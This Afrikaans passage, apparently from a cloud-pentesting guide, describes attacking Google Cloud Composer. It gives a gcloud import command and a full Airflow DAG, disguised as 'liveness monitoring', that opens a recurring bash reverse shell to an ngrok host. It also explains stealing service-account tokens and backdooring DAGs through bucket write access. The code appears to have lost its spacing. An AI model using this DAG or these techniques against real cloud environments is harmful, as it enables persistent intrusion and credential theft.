Dit is moontlik om enige diensrekening aan die nuut geskepte composer omgewing met daardie toestemming te koppel. Later kan jy kode binne composer uitvoer om die diensrekening token te steel.
Voeg die python DAG-kode in 'n lêer in en importeer dit deur te loop:
# TODO: Create dag to get a rev shellgcloudcomposerenvironmentsstoragedagsimport--environmenttest--locationus-central1--source/tmp/dags/reverse_shell.py
Reverse shell DAG:
reverse_shell.py
import airflowfrom airflow import DAGfrom airflow.operators.bash_operator import BashOperatorfrom datetime import timedeltadefault_args ={'start_date': airflow.utils.dates.days_ago(0),'retries':1,'retry_delay':timedelta(minutes=5)}dag =DAG('reverse_shell',default_args=default_args,description='liveness monitoring dag',schedule_interval='*/10 * * * *',max_active_runs=1,catchup=False,dagrun_timeout=timedelta(minutes=10),)# priority_weight has type int in Airflow DB, uses the maximum.t1 =BashOperator(task_id='bash_rev',bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1',dag=dag,depends_on_past=False,priority_weight=2**31-1,do_xcom_push=False)
Skryf Toegang tot die Composer-bucket
Alle komponente van 'n composer-omgewing (DAGs, plugins en data) word binne 'n GCP-bucket gestoor. As die aanvaller lees- en skryfregte daaroor het, kan hy die bucket monitor en wanneer 'n DAG geskep of opgedateer word, 'n backdoored weergawe indien sodat die composer-omgewing die backdoored weergawe uit die berging sal kry.